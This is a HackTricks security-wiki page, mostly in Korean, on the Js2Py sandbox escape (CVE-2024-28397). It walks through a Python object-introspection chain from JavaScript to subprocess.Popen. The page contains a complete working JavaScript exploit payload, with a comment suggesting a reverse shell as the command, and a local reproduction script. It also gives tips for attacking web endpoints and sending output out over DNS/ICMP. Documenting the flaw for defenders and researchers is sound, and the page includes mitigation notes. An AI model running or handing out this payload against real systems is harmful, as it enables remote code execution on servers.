Js2Py sandbox escape (CVE-2024-28397)

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Js2Py는 JavaScript를 Python 객체로 변환합니다. 따라서 js2py.disable_pyimport()가 사용되더라도 신뢰할 수 없는 JS는 Python 내부를 탐색하여 subprocess.Popen 같은 위험한 클래스에 접근할 수 있습니다. 버전 20.74에서는 Js2Py가 JS 객체에 노출하는 Python 리플렉션 primitives를 악용해, 그렇지 않으면 “sandboxed“된 JavaScript에서 RCE를 얻을 수 있습니다.

프리미티브: JS 객체 래퍼에서 Python 객체로 피벗

  1. Get a Python-backed object: Object.getOwnPropertyNames({}) returns a dict_keys object in Python space.
  2. Recover attribute access: grab .__getattribute__ from that object and call it to read arbitrary attributes (e.g., "__class__").
  3. Climb to object: from <class 'dict_keys'> read .__base__ to reach Python’s base object.
  4. Enumerate loaded classes: call object.__subclasses__() to walk every class already loaded in the interpreter.
  5. Find subprocess.Popen: recursively search subclasses where __module__ == "subprocess" and __name__ == "Popen".
  6. Execute a command: instantiate Popen with attacker-controlled arguments and invoke .communicate() to capture output.
Example payload abusing Js2Py to reach subprocess.Popen ```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;

hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;

function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }

// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back

</details>

이것이 동작하는 이유: Js2Py는 Python 객체 래퍼를 JS에 노출하되 `__getattribute__`, `__class__`, `__base__`, 또는 `__subclasses__`를 제거하지 않습니다. `disable_pyimport()`는 명시적인 `pyimport`만 차단하지만, 위 체인은 새로운 것을 전혀 import하지 않으며 이미 메모리에 로드된 모듈과 클래스들을 재사용합니다.

## 로컬에서 체인 재현하기
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})"))                      # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__"))    # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY

웹 샌드박스에 대한 공격

  • 공격자가 제어하는 JS를 js2py.eval_js에 전달하는 모든 엔드포인트(예: Flask /run_code API)는 프로세스 사용자가 셸 액세스를 가지고 있다면 즉시 RCE입니다.
  • .communicate()가 bytes를 반환할 때 jsonify({'result': result})를 반환하면 실패합니다; 직렬화 차단을 피하려면 디코딩하거나 출력을 DNS/ICMP로 직접 전송하세요.
  • disable_pyimport() does not mitigate this chain; 강력한 격리(별도 프로세스/컨테이너) 또는 Js2Py를 통한 신뢰할 수 없는 코드 실행 제거가 필요합니다.

참고

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기